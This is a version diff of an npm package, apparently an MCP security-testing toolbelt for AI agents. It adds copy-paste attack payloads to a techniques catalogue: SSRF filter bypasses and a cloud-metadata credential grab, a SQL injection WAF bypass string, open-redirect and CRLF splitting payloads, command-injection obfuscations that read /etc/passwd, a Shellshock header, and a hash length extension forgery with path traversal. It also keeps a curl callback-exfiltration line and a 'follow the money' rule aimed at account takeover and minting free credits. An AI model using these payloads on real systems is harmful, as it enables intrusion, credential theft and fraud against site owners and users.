blitzstrike 2.4.108 → 2.4.110

package/CHANGELOG.md

@@ -5,6 +5,33 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.110] — 2026-09-17
+
+### Added — hash length extension + concrete payload enrichment
+
+- New `length_extension` technique class (CWE-328): a MAC computed as
+  H(secret+message) with a Merkle–Damgård hash (MD5/SHA-1/SHA-256) lets an
+  attacker append data and forge a valid hash without the secret — with the
+  hash_extender tool + the ?file=...&mac=... append/path-traversal pattern.
+- Enriched five technique classes with concrete copy-paste payloads:
+  `open_redirect` (/%09/, /%5c, //, /\, @ prefixes + param list),
+  `crlf_injection` (encoding variants + CRLF→XSS + 301/302 response-splitting +
+  Unicode U+2028/U+2029), `ssrf` (octal/hex/decimal/IPv6 IP obfuscation,
+  xip.io/nip.io, gopher/dict/php/jar/tftp handlers, cloud metadata),
+  `sql_injection` (Kona-style WAF bypass: MID/LIKE//**//double-quote),
+  `command_injection` (i'''d, brace expansion, Shellshock, Werkzeug debugger PIN).
+
+## [2.4.109] — 2026-09-17
+
+### Changed — follow-the-money doctrine rule with concrete proven patterns
+
+- Extended the `follow_money` doctrine rule with the two proven business-logic
+  shapes behind real payouts: (1) a password-reset logic flaw that resets an
+  arbitrary account → account takeover; (2) a credit/invite business-logic flaw
+  that lets the client mint its own credits/quota → free money without payment.
+  Reinforces "if the client can add credits, apply a discount, or reset a
+  credential client-side, that is the highest-value test in the program."
+
 ## [2.4.108] — 2026-09-17
 
 ### Added — surface-first map (attack surface → high-value tests)

package/dist/index.js

@@ -61475,7 +61475,7 @@ var HUNTING_DOCTRINE = [
   {
     id: "follow_money",
     title: "Follow the Money",
-    rule: "Billing / credits / refunds / wallet flows have the most developer shortcuts. Price manipulation, payment races, quota bypass = high ROI."
+    rule: "Billing / credits / refunds / wallet flows have the most developer shortcuts. Price manipulation, payment races, quota bypass = high ROI. Proven pattern: a password-reset logic flaw that resets an arbitrary account = account takeover; a business-logic flaw in a credit/invite flow that lets the client mint its own credits/quota = free money without payment. If the app lets you add credits, apply a discount, or reset a credential client-side, that is the highest-value test in the program."
   },
   {
     id: "less_saturated",

package/intelligence/techniques.json

@@ -19,7 +19,11 @@
         "Bypass IP filter: 127.1, 0, 0x7f000001, 2130706433, 017700000001, [::1], 127.0.0.1.nip.io, http://127.0.0.1:80@evil/.",
         "DNS rebinding: a name that resolves to allowed at check-time and internal at request-time (e.g. wp_safe_remote_*).",
         "Redirect bypass: allow-listed host that 302s to an internal address.",
-        "Schemes: gopher://, dict://, file:// for protocol-level access."
+        "Schemes: gopher://, dict://, file:// for protocol-level access.",
+        "IP obfuscation: octal http://0177.1/ , hex http://0x7f.1/ , decimal https://520968996 , IPv6 http://[::1] , mixed 127.000.000.1",
+        "Wildcard DNS: 10.0.0.1.xip.io / nip.io (resolve to the embedded IP to bypass host allowlists)",
+        "Exotic handlers: gopher:// dict:// php:// jar:// tftp://",
+        "Cloud metadata: http://169.254.169.254/latest/meta-data/ (AWS) + IAM-role temporary credentials"
       ],
       "verify": "Unique marker host receives the callback (proof of SSRF); a benign non-fetching control returns nothing."
     },
@@ -185,7 +189,8 @@
         "PostgreSQL: COPY ... TO, dblink, lo_import, RCE via extensions/languages.",
         "MSSQL: xp_cmdshell, OPENROWSET, stacked queries.",
         "WAF bypass: encoding, case, comments, chunking (see bypass_lookup waf).",
-        "Second-order: stored value later used in a query without re-validating."
+        "Second-order: stored value later used in a query without re-validating.",
+        "WAF bypass (Kona-style): MID() for SUBSTRING, LIKE for =, /**/ for space, CURRENT_USER for CURRENT_USER(), double-quote for single-quote \u2014 444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/\"p\"/**/#"
       ],
       "verify": "A boolean/UNION marker returns distinct data (1 vs 0, or a known string); a parameterized control query is inert."
     },
@@ -359,7 +364,9 @@
       "techniques": [
         "//evil.com (protocol-relative), https://trusted.com@evil.com (userinfo), backslash, double-encode.",
         "javascript: and data: (rare).",
-        "Chain: open redirect in redirect_uri -> steal OAuth authorization code."
+        "Chain: open redirect in redirect_uri -> steal OAuth authorization code.",
+        "Prefix/bypass: /%09/ , /%5c , // , /\\ , @ (userinfo) \u2014 e.g. //google.com/%2f%2e%2e , /\\victim.com:80%40google.com",
+        "Fuzz the redirect params (?url= ?next= ?to= ?view= ?out= ?redirect= ?return= ?dest=) with http:// , // , / , /\\ , /// , %2f%2f prefixes"
       ],
       "verify": "The response actually redirects to your marker host; a control redirect to a whitelisted relative path stays on-site."
     },
@@ -501,7 +508,10 @@
       "techniques": [
         "Separators: ; | & && || backtick $() %0a (newline).",
         "Blind: sleep 5 (time-based), or curl http://your-host/$(id) (callback exfil).",
-        "Filter bypass: variable expansion, base64, $(tr), unicode."
+        "Filter bypass: variable expansion, base64, $(tr), unicode.",
+        "Command bypass: i'''d , \\l\\s -l\\a\\h , cat /e?c/p?ss?? , cat /e??/??ss* , {ls,} {ls,-a}",
+        "Shellshock: () { :;}; echo vulnerable (inject via User-Agent / other headers)",
+        "Werkzeug debugger: trigger a unicode error (a cyrillic '\u0456' in 'string') -> debug console -> brute the ***-***-*** PIN for RCE"
       ],
       "verify": "A marker command actually executes (callback received / sleep observed); a control with no separator runs the intended command."
     },
@@ -546,7 +556,10 @@
         "`/%0d%0aLocation:%20http://attacker.com` for open redirect via header splitting",
         "`GET /%20HTTP/1.1%0d%0aHost:x%0d%0aConnection:keep-alive%0d%0a%0d%0aGET /redir HTTP/1.1...` for request smuggling / response queue poisoning",
         "Unicode newline bypass: `%E2%80%A8` (U+2028), `%E2%80%A9` (U+2029), `%C2%85` (NEL) when literal CR/LF is stripped",
-        "PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`"
+        "PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`",
+        "Header injection encodings: %0d%0a , %0a , %0d , %23%0d , %3f%0d , %u000a , %250a , %25250a (double-encode variants)",
+        "Escalate to XSS: inject Content-Length + a body (CRLF -> XSS); or 301/302 response-splitting before the Location header (break the redirect with xxx:1 then inject a body)",
+        "Unicode line-separator bypass: %E5%98%8A%E5%98%8D (U+2028/U+2029)"
       ],
       "verify": "Positive marker: inject `%0d%0aSet-Cookie:crlf=<random>;` and confirm the response sets that exact cookie. Negative control: resend the same request URL-encoding the CRLF (`%250d%250a`) \u2014 the cookie must NOT appear, proving the server did not decode it itself and that the split is genuinely caused by raw CRLF."
     },
@@ -1306,6 +1319,32 @@
         "lock.cmpxchg8b.com/rebinder.html \u2014 DNS-rebinding test harness",
         "192-168-1-1.sslip.io \u2014 wildcard DNS returning a fixed embedded IP (setup/probe)"
       ]
+    },
+    {
+      "id": "length_extension",
+      "name": "Hash Length Extension Attack",
+      "summary": "A MAC/signature computed as H(secret + message) with a Merkle-Damgard hash (MD5 / SHA-1 / SHA-256) lets an attacker APPEND data and compute a valid hash WITHOUT the secret \u2014 forging authenticated file downloads, API signatures, and cookies (CWE-328).",
+      "objectives": [
+        "Find a signed parameter (mac/signature/hash) that covers a known message with a secret prefix",
+        "Identify the hash algorithm and the exact message length (byte length of the signed string)"
+      ],
+      "how_to_test": [
+        "Look for ?file=...&mac=<hex> or signed tokens where the signature covers a known message",
+        "Run hash_extender with the known hash, the message length, and the data to append",
+        "Replay the request with the extended message + forged hash"
+      ],
+      "techniques": [
+        "Extend ?file=report.pdf&mac=<hash> into ?file=report.pdf<PADDING>../../../../etc/passwd&mac=<forged> (path traversal past the prefix)",
+        "Append attacker-controlled fields to a signed cookie (e.g. &admin=1) without knowing the secret",
+        "Works on MD5/SHA-1/SHA-256 (Merkle-Damgard); does NOT work on HMAC (keyed differently) or SHA-3/Blake2"
+      ],
+      "verify": [
+        "The extended request returns 200 (not 401/403 invalid-signature)",
+        "The appended data actually changes the result (file content / privilege) \u2014 a marker proves it, not just a 200"
+      ],
+      "tools": [
+        "hash_extender (iagox86) \u2014 given a hash + message length, compute the forged hash for appended data"
+      ]
     }
   ]
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.108",
+  "version": "2.4.110",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {